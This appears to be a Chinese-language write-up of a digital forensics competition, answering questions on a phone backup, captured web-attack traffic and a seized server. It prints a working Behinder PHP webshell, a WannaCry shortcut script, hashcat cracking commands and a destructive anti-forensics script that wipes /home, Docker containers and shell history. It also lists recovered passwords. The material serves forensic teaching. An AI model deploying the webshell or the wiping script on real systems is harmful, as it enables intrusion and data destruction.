"WScript.Shell"
)
>
m.vbs
echo
SET
om
=
ow.CreateShortcut
(
"/PATH/TO/@WanaDecryptor@.exe.lnk"
)
>>
m.vbs
echo
om.TargetPath
=
"/PATH/TO/@WanaDecryptor@.exe"
>>
m.vbs
echo
om.Save>>
m.vbs
cscript.exe
/nologo
m.vbs
del
m.vbs
作用是通过运行 vbs 脚本为
@WanaDecryptor@.exe
生成一个快捷方式:
Text Only
SET ow = WScript.CreateObject("WScript.Shell")
SET om = ow.CreateShortcut("/PATH/TO/@WanaDecryptor@.exe.lnk")
om.TargetPath = "/PATH/TO/@WanaDecryptor@.exe"
om.Save
其中创建快捷方式的函数是
CreateShortcut
.
14 接上题，恶程序修改系统桌面壁纸是在哪个函数实现的
¶
答案
sub_10004F20
检视另外几个程序释放的
.wnry
文件后发现
b.wnry
是 BMP 格式的图片:
在 String View 中搜索
b.wnry
:
找到调用该字符串的函数:
这里有点小问题, 看起来挺难受的, 修改一下变量的声明:
SystemParametersInfoW(0x14u, 0, Buffer, 1u);
的作用是修改桌面壁纸:
SystemParametersInfoW
函数的参数是
SPI_SETDESKWALLPAPER
(
0x14
) 和
SPIF_UPDATEINIFILE
(
1
). 参考
SystemParametersInfoW function (winuser.h)
.
15 VeraCrypt 加密容器的密码是
¶
答案
qwertyuiop1
将解密后的
E:\data-backup.dd
导出. 根据文件签名判断这实际上是一个 PKZIP 文件, 解压之后其中存储着 1 个容器文件和 1 个 txt 文件:
16 其中存在一苹果手机备份包，手机备份包的密码是
¶
答案
75966
备份在上题的 VC 容器中, 有加密:
提取备份哈希:
PowerShell
perl
.\
itunes_backup2john
.
pl
"D:\Longxin2024\2024年06月19日_18时07分45秒_iPhone\a9f9362b4e1498f85f5e64a7b2a37ca9244486f4\Manifest.plist"
# -> $itunes_backup$*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11
hashcat 跑弱口令字典爆破:
PowerShell
hashcat
-m
14800
-a
0
-d
1
"
`$
itunes_backup
`$
*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11"
"D:\Forensics\PasswordCrack\dict\password-attacks\4to6_digits.txt"
爆出来口令是
75966
:
17 接上题，机主实际篡改多少微信数据
¶
答案
3
备份中只安装了 3 个第三方应用:
导出这些应用的 Container 和 GroupContainer.
微信的消息记录数据库是
AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\DB\message_*.db
:
在
AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\session\lsm_data\level_0
中存储着微信的消息碎片. 整个文件是自定义的二进制格式, 查看一些数据并对照聊天记录数据库发现规律, 可以搜索十六进制串找到对应的消息:
b"\x42\x13" + sender_wxid.encode() + b"\x20\x02\x4a\x13" + reciever_wxid.encode()
. 该十六进制串后为消息长度, 之后即为消息内容:
对照后发现 3 条消息被修改:
18 接上题，机主共存款了多少金额
¶
答案
98万
在
com.titashow.tangliao
(小西米语音)的数据库
AppDomain-com.titashow.tangliao\Documents\IM5_CN\9031bc3c805ac5e55ecaa151092c2c4b\IM5_storage\1438793628033019010\im5db
中可以找到:
19 在手机模拟中勒索 apk 软件的 sha256 值是
¶
答案
340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e
手机模拟器有一个备份, 位于
Partition1\Users\Administrator\Documents
目录中. 是夜神模拟器的备份, 实际上是一个 PKZIP 压缩包, 导出并解压即可得到虚拟机的虚拟磁盘文件
使用 FTK Imager 挂载
nox-disk2.vmdk
, 在
Partition3\app
目录中看到只有 3 个非预装应用:
可以猜到
com.fankes.tmoreplus
是勒索软件的包名, 导出其中的 APK 包, 计算 SHA-256 为:
340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e
.
20 接上题，勒索 apk 软件的解锁密码是
¶
答案
anzhuo.com
使用 JEB 加载上述 APK 包, 应用的主入口类
package com.mycompany.myapp4.MainActivity
:
开启了无障碍服务, 加载了一个空白的全屏 Layout:
通过无障碍服务启动了新的类
0x10000000
:
Java
intent0
.
addFlags
(
0x10000000
);
context0
.
startActivity
(
intent0
);
该类是
com.mycompany.myapp4.ABC
:
可以看出解锁密码为
anzhuo.com
.
这里加载了一个新的 Overlay, 并通过无障碍服务置于用户界面顶层:
Overlay 的内容是(部分内容因为言语过激已打码):
流量分析
¶
用 WireShark 或者科来网络分析系统(Csnas)都行, 我个人做取证的时候比较喜欢用 Csnas, 做 CTF 的时候喜欢用 WireShark. 这里就以 Csnas 为例.
01 给出管理员对 web 环境进行管理的工具名
¶
答案
宝塔
在识别到的应用中可以看到 WordPress, 所以至少应该是一个 LAMP 的集成工具之类的东西.
在 TCP 会话中看到了熟悉的域名
bt.cn
, 有宝塔面板的流量:
02 给出攻击者的 ip 地址是
¶
答案
192.168.209.135
在 HTTP POST 请求的流量中看到 IP 地址
192.168.209.135
在尝试爆破 WordPress 服务中的用户名:
03 给出攻击者爆破出的网站非管理员用户名是
¶
答案
saber
查看
192.168.209.135
与服务器 IP
192.168.209.147
之间的 IP 会话, 发现攻击者的大致攻击路径是:
扫描常见目录/文件, 发现有 WordPress 和一个疑似上传后门的
up_load.php
, 由
up_load.html
调用:
爆破 WordPress 的用户名密码
利用文件上传后门获取 WebShell
此外还有使用 sqlmap 进行 SQL 注入的攻击. 不过攻击者并没有通过 sqlmap 获得数据库信息
04 攻击者进行目录扫描得到的具有后门的页面 url 路径为
¶
答案
/up_load.html
见上题.
05 攻击者通过修改请求包中的哪个字段导致恶意文件成功上传
¶
答案
Content-Type
和
up_load.php
的几次交互:
查看包之后发现攻击者在修改
Content-Type
以绕过文件类型检测:
06 攻击者上传成功的恶意文件，该文件的临时存放路径是
¶
答案
/tmp/php38mbeJ
接上题, 查看最后一个包的响应:
07 服务器 php 配置文件的存放位置
¶
答案
/www/server/php/82/etc/php.ini
可以看到上传的是冰蝎自带的 php WebShell:
PHP
<?php
@
error_reporting
(
0
);
session_start
();
$key
=
"e45e329feb5d925b"
;
$_SESSION
[
'k'
]
=
$key
;
session_write_close
();
$post
=
file_get_contents
(
"php://input"
);
if
(
!
extension_loaded
(
'openssl'
))
{
$t
=
"base64_"
.
"decode"
;
$post
=
$t
(
$post
.
""
);
for
(
$i
=
0
;
$i
<
strlen
(
$post
);
$i
++
)
{
$post
[
$i
]
=
$post
[
$i
]
^
$key
[
$i
+
1
&
15
];
}
}
else
{
$post
=
openssl_decrypt
(
$post
,
"AES128"
,
$key
);
}
$arr
=
explode
(
'|'
,
$post
);
$func
=
$arr
[
0
];
$params
=
$arr
[
1
];
class
C
{
public
function
__invoke
(
$p
)
{
eval
(
$p
.
""
);}}
@
call_user_func
(
new
C
(),
$params
);
?>
提取流量包中对
POST /uploaded_img/cont.php
的请求的响应体(Base64 串), 写一个简单的脚本对其进行解析:
Python
import
re
import
json
from
pathlib
import
Path
from
base64
import
b64decode
from
Crypto.Cipher
import
AES
from
Crypto.Util.Padding
import
pad
,
unpad
def
decrypt
(
data
:
bytes
)
->
bytes
:
key
=
b
"e45e329feb5d925b"
iv
=
b
"
\x00
"
*
16
cipher
=
AES
.
new
(
key
,
AES
.
MODE_CBC
,
iv
)
return
unpad
(
cipher
.
decrypt
(
data
),
16
)
def
find_interacts
(
stream
:
list
[
str
])
->
list
[
str
]:
return
[
line
for
line
in
stream
if
line
.
startswith
(
"3Mn1"
)
or
line
.
startswith
(
"mAUY"
)]
def
parse_req
(
req
:
str
)
->
dict
[
str
,
str
]:
req_raw
=
b64decode
(
req
.
encode
())
req_dec
=
decrypt
(
req_raw
)
.
decode
(
"latin1"
)
pattern_b64
=
r
"'(.*)'"
b64_match
=
re
.
findall
(
pattern_b64
,
req_dec
)[
0
]
php
=
b64decode
(
b64_match
.
encode
(
"latin1"
))
.
decode
()
pattern_cmd
=
r
'cmd="([A-Za-z0-9+/=]+)";'
cmd_match
=
re
.
findall
(
pattern_cmd
,
php
)
cmd
=
""
if
cmd_match
:
cmd
=
cmd_match
[
0
]
cmd
=
b64decode
(
cmd
)
.
decode
(
"utf-8"
)
pattern_path
=
r
'path="([A-Za-z0-9+/=]+)";'
path_match
=
re
.
findall
(
pattern_path
,
php
)
path
=
""
if
path_match
:
path
=
path_match
[
0
]
path
=
b64decode
(
path
)
.
decode
(
"utf-8"
)
j
=
{
"cmd"
:
cmd
,
"path"
:
path
}
return
j
def
parse_resp
(
resp
:
str
)
->
dict
[
str
,
str
|
dict
]:
resp_raw
=
b64decode
(
resp
.
encode
())
resp_dec
=
decrypt
(
resp_raw
)
.
decode
(
"latin1"
)
ob
:
dict
=
json
.
loads
(
resp_dec
)
status
,
msg
=
tuple
(
ob
.
values
())
status
=
b64decode
(
status
)
.
decode
(
"utf-8"
)
if
msg
:
msg
=
b64decode
(
msg
)
.
decode
(
"utf-8"
)
try
:
msg
=
{
k
:
b64decode
(
v
)
.
decode
(
"utf-8"
)
for
k
,
v
in
json
.
loads
(
msg
)
.
items
()}
except
:
pass
j
=
{
"status"
:
status
,
"msg"
:
msg
}
return
j
def
parse_stream
(
stream_file
:
str
|
Path
,
output_file
:
str
|
Path
)
->
None
:
stream
=
list
()
with
open
(
stream_file
,
"r"
,
encoding
=
"utf-8"
)
as
f
:
stream
=
f
.
readlines
()
interacts
=
find_interacts
(
stream
)
with
open
(
output_file
,
"w"
,
encoding
=
"utf-8"
)
as
f
:
for
idx
,
pac
in
enumerate
(
interacts
):
if
not
idx
%
2
:
f
.
write
(
f
"Packet
{
idx
//
2
+
1
}
\n
"
)
if
pac
.
startswith
(
"3Mn1"
):
f
.
write
(
"Direct ->
\n
"
)
j
=
parse_req
(
pac
)
f
.
write
(
f
"- Command:
{
j
.
get
(
"cmd"
,
""
)
}
\n
"
)
f
.
write
(
f
"- WorkingDir:
{
j
.
get
(
"path"
,
""
)
}
\n
"
)
f
.
write
(
"
\n
"
)
if
pac
.
startswith
(
"mAUY"
):
f
.
write
(
"Direct <-
\n
"
)
j
=
parse_resp
(
pac
)
f
.
write
(
f
"- Status:
{
j
.
get
(
"status"
,
""
)
}
\n
"
)
f
.
write
(
f
"- MSG:
{
j
.
get
(
"msg"
,
""
)
}
\n
"
)
f
.
write
(
"
\n
"
)
if
idx
%
2
:
f
.
write
(
"
\n
"
)
if
__name__
==
"__main__"
:
stream_file
=
"stream_file"
output_file
=
"output.txt"
parse_stream
(
stream_file
,
output_file
)
在响应中找到传回的 phpinfo 的 html 页面:
找到 php 配置文件目录:
08 被攻击的 web 环境其数据库密码是
¶
答案
X847Z3QzF1a6MHjR
还是在冰蝎的流量中:
对流量进行解密之后, 看到攻击者读取了
wp-config.php
文件:
09 服务器管理存放临时登录密码的位置
¶
答案
/tmp/tmppass
在冰蝎的流量中:
10 黑客获取的高权限主机的登录密码
¶
答案
passwd!@#
见上题
服务器取证
¶
01 服务器会做登录密码验证，该登录验证文件位置在
¶
答案
/etc/profile.d/check-system.sh
如果使用火眼仿真的自动清除密码功能, 开机自启的某个检查程序会识别到密码与原本的不同, 而删掉数据库等文件:
Linux 中开机自启的脚本一般在
/etc/profile.d
或者
bashrc
里面.
/etc/profile.d/check-system.sh
为实现该功能的脚本:
Bash
#!/usr/bin/env bash
OLD
=
""
if
[
-f
/etc/.cadpc
]
;
then
OLD
=
"
$(
cat
/etc/.cadpc
)
"
fi
CURRENT
=
"
$(
cat
/etc/shadow
|
sha256sum
|
awk
-F
' '
'{print $1}'
)
"
if
[
"
$OLD
"
!
=
"
$CURRENT
"
]
;
then
echo
"Illegal login detected!!!"
rm
-rf
/etc/profile.d/check-system.sh
docker
rm
-f
$(
docker
ps
-aq
)
rm
-rf
/opt/proxy/
rm
-rf
/opt/install.sh
rm
-rf
/root/ntp-tunnel
rm
-rf
/root/sock5-tunnel
rm
-rf
/home/*
rm
-rf
/root/.docker/config.json
docker
image
prune
-af
cat
/dev/null
>
~/.bash_history
echo
""
>
~/.bashrc
hostnamectl
set-hostname
localhost
history
-c
fi
存储 SHA256 的文件
/etc/.cadpc
:
Text Only
4e5f8b3141fba19274789df7cfca39d96dd60b76e9d843c41ec37bbd366fd7e3
解决方案有好几种:
重置密码. 启动系统前时编辑 Grub, 通过单用户模式删除该脚本.
重置密码. 正常登录用户, 接着拼手速, 狂按
Ctrl + C
, 中断脚本运行.
不重置密码, 使用之前手机检材中获取的密码登录.
02 服务器 ssh 端口是
¶
答案
12320
03 服务器 docker 内有多少个镜像
¶
答案
7
04 服务器内 sqlserver 默认账号的密码是
¶
答案
<ci7uFtnkTv8>
在
/var/lib/docker/containers/392e75f460f47eafd270de2ba543439e89d99bfad6325e79806984ce549e6286
找到 sqlserver 的容器文件:
在
config.v2.json
中看到预设的环境变量(
\u003c
和
\u003e
分别是
<
和
>
):
05 服务器内 sqlserver 存放了阿里云存储下载地址，该下载地址是
¶
答案
https://xinfenfa.oss-accelerate.aliyuncs.com
启动容器:
连接数据库, MS SQLServer 的默认用户名是
sa
:
在数据库
cjj
的表
cmf_config
中找到阿里云存储下载地址:
06 服务器内 sqlserver 内 “cmf_user_action_log” 表，表内存在的用户操作日志，一共操作次数是
¶
答案
99684318
字段
counts
是执行操作的次数, SQL 语句查询:
SQL
SELECT
SUM
(
counts
)
FROM
cmf_user_action_log
;
/* -> 99684318 */
07 该服务器正在使用的数据库的持久化目录是
¶
答案
/data/mongo
本题存疑
本题的题目描述或许有误: 题目描述存在疑义.
正确的题目描述应为: "该服务器正在使用的数据库在容器中的持久化目录是".
nginx -t
确定有 Nginx, 配置在
/etc/nginx/nginx.conf
:
Nginx 配置内容:
Nginx Configuration File
http
{
log_format
main
'
$remote_addr
-
$remote_user
[
$time_local]
"
$request"
'
'
$status
$body_bytes_sent
"
$http_referer"
'
'"
$http_user_agent"
"
$http_x_forwarded_for"'
;
access_log
/var/log/nginx/access.log
main
;
sendfile
on
;
tcp_nopush
on
;
tcp_nodelay
on
;
keepalive_timeout
65
;
types_hash_max_size
4096
;
include
/etc/nginx/mime.types
;
default_type
application/octet-stream
;
# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include
"/etc/nginx/conf.d/*.conf"
;
server
{
listen
80
;
listen
[::]:80
;
server_name
_
;
root
/usr/share/nginx/html
;
# Load configuration files for the default server block.
include
"/etc/nginx/default.d/*.conf"
;
error_page
404
/404.html
;
location
=
/404.html
{
}
error_page
500
502
503
504
/50x.html
;
location
=
/50x.html
{
}
}
站点配置位于
/etc/nginx/conf.d/bl.dsnbbaj686.fit.conf
:
Nginx Configuration File
server
{
listen
80
;
server_name
bl.dsnbbaj686.fit
;
root
/opt/bl.dsnbbaj686.fit/www/public
;
index
index.html
index.htm
index.php
;
location
/
{
if
(!-e
$request_filename
)
{
rewrite
^(.*)
$
/index.php?s=
$1
last
;
break
;
}
}
location
~
.*\.(gif|jpg|jpeg|png|bmp|swf)$
{
expires
100d
;
error_log
/dev/null
;
access_log
off
;
}
location
~
.*\.(js|css)?$
{
expires
30d
;
error_log
/dev/null
;
access_log
off
;
}
location
~
\.php(/|$)
{
fastcgi_index
index.php
;
fastcgi_pass
127.0.0.1
:
9000
;
fastcgi_param
SCRIPT_FILENAME
$document_root$fastcgi_script_name
;
include
fastcgi_params
;
}
}
站点目录在
/opt/bl.dsnbbaj686.fit/www/public
, 是个 ThinkPHP 站点:
/opt/bl.dsnbbaj686.fit/www/app/database.php
内的配置:
PHP
<?php
return
[
'type'
=>
'mongo'
,
'hostname'
=>
'127.0.0.1'
,
'database'
=>
'lok1'
,
'username'
=>
'mongoadmin'
,
'password'
=>
'RvbwSG3dqgZQ'
,
'hostport'
=>
'27017'
,
'dsn'
=>
''
,
'params'
=>
[],
'charset'
=>
'utf8'
,
'prefix'
=>
'app_'
,
'debug'
=>
true
,
'deploy'
=>
0
,
'rw_separate'
=>
false
,
'master_num'
=>
1
,
'slave_no'
=>
''
,
'fields_strict'
=>
true
,
'resultset_type'
=>
'array'
,
'auto_timestamp'
=>
true
,
'datetime_format'
=>
'Y-m-d H:i:s'
,
'sql_explain'
=>
false
,
];
使用的是 Docker 容器中的 MongoDB, 查看 Docker 容器的信息:
不知道答案应该填容器内的目录还是映射目录.
08 该网站后台正在使用的数据库有多少个集合
¶
答案
13
使用 ThinkPHP 配置中获取的认证信息连接 MongoDB:
可以看到一共有 13 个集合.
09 该网站的后台登录地址是
¶
答案
/appmanager/common/login.shtml
把整个网站的源码传到本地, 这个过程中火绒报了一个后门:
源码在
app
目录中, 其中
route.php
中包含路由:
路由信息保存在数据库的
app_urlconfig
集合中, 集合名称前缀在
database.php
中可以看到. 查看该集合:
ThinkPHP 中 URL 的典型结构是
<EntranceFile>/<Module>/<Controller>/<操作(方法名称)><伪静态后缀(可选)>
. 从目录结构看,
appmanager
文件夹明显是后台管理模块, 在
Common.php
中, 定义了一个名为
Common
的 Controller, 其中包含用于处理登录逻辑和显示登录页面的
login
方法. 在
app/config.php
中 可以看到伪静态后缀是
.shtml
(
'url_html_suffix' => 'shtml'
). 因此整个后台的 URL 应该是
/appmanager/common/login.shtml
.
另外, ThinkPHP 的日志文件位于
runtime
目录. 在日志文件中可以看到用户访问的后台界面的 URL:
10 该网站后台使用的管理员加密算法是
¶
答案
bcrypt
在数据库的
app_admin
集合中:
明显是 bcrypt.
11 该网站最早使用超级管理员进行删除管理员操作的 IP 地址是
¶
答案
117.132.191.203
在数据库的
app_admin_log
集合里可以看到记录了
admin_menu_id
&
ip
&
operation_id
:
在
app/appmanager/controller/index.php
中可以看到获取 menu 的逻辑:
数据库的
app_admin_menu
集合中的数据:
可以看到"删除管理员"的
id
为
26
, 对应的方法是
appmanager/admin/delete
. 在
app_admin_log
中筛选
admin_menu_id = 26
的数据:
12 该网站后台上传过 sha256 值为 “b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1” 的压缩包文件，该文件内的账单交易订单号是
¶
答案
20240321000000005443369778283185
上传文件正常情况下都在
public/uploads
目录里, 用 HashMyFiles 计算目录下所有文件的哈希, 找到目标文件:
发现有加密. 但是上级目录带有注释, 提示密码是 5 位字母+数字.
恶心的点是, 这里使用的压缩格式是 WinZIP(哈希以
$zip2$*0*3*0
开头, 对应 HashCat 的 13600), 但 HashCat 最大支持 8KB 的哈希, 这个加密文件提取出来的哈希达到了 239KB, 无法用 HashCat 爆破. 至于为什么哈希这么大, 可以参考
Zip2john is incompatible with hashcat · Issue #2186 · hashcat/hashcat
.
Passware 又不支持 CudaAPI, 速度明显不如 HashCat. 幸亏密码在爆破序列比较前面的位置, 不然就真的很费时间了:
txt 文件里面是个 Base64 编码的图片, 解码:
13 该网站存在网站数据库备份功能，该功能的接口地址是
¶
答案
/appmanager/databackup/export
但是答案给的是
/appmanager/databackup
, 我不理解为什么. 题目改成"该网站存在网站数据库备份
管理
功能，该功能的接口地址是"才合理.
14 该网站存放银行卡信息数据表中，其中信息数量前十的公司对应旗下 visa 银行卡一共有多少金额
¶
答案
21701599.63
MongoDB 查询语句:
Python
db
.
app_card
.
aggregate
([
{
$
facet
:
{
topCompanies
:
[
{
$
group
:
{
_id
:
"$company"
,
count
:
{
$
sum
:
1
}
}
},
{
$
sort
:
{
count
:
-
1
}
},
{
$
limit
:
10
}
]
}
},
{
$
unwind
:
"$topCompanies"
},
{
$
lookup
:
{
from
:
"app_card"
,
let
:
{
companyName
:
"$topCompanies._id"
},
pipeline
:
[
{
$
match
:
{
$
expr
:
{
$
eq
:
[
"$company"
,
"$$companyName"
]
},
card_no
:
/^
4
/
}
},
{
$
group
:
{
_id
:
"$company"
,
total
:
{
$
sum
:
{
$
toDouble
:
"$money"
}
}
}
}
],
as
:
"visaCards"
}
},
{
$
project
:
{
company
:
"$topCompanies._id"
,
total
:
{
$
ifNull
:
[{
$
arrayElemAt
:
[
"$visaCards.total"
,
0
]
},
0
]
}
}
}
])
不熟悉 MongoDB 的话可以用 Navicat 导出到 Excel, 在 Excel 里面处理. 题目中隐含条件: VISA 卡的卡号首位为 4.
15 该网站在 2023 年 2 月共获取了多少条通信记录
¶
答案
2879
本题存疑
本题的题目描述或许有误: 答案与题目描述不一致.
正确的题目描述应为: "该网站在 2023 年 2 月共获取了多少条电话号码".
时间起止范围的时间戳:
整个数据库中和通信有关的只有
app_mobile
这一个集合, 但这实际上只是姓名和电话号码的二元组, 并不能算是通信记录. 然而看官方给出的答案, 确实以该集合的数据为准, 也许是题目描述有误.
16 该网站的一条管理员信息存在数据篡改，请分析是哪个管理员信息遭到篡改，该管理员用户名是
¶
答案
xYpMLuROhNl
在管理员集合
app_admin
中, 有一个管理员
xYpMLuROhNl
的
login_time
早于
create_time
, 应为被篡改的数据:
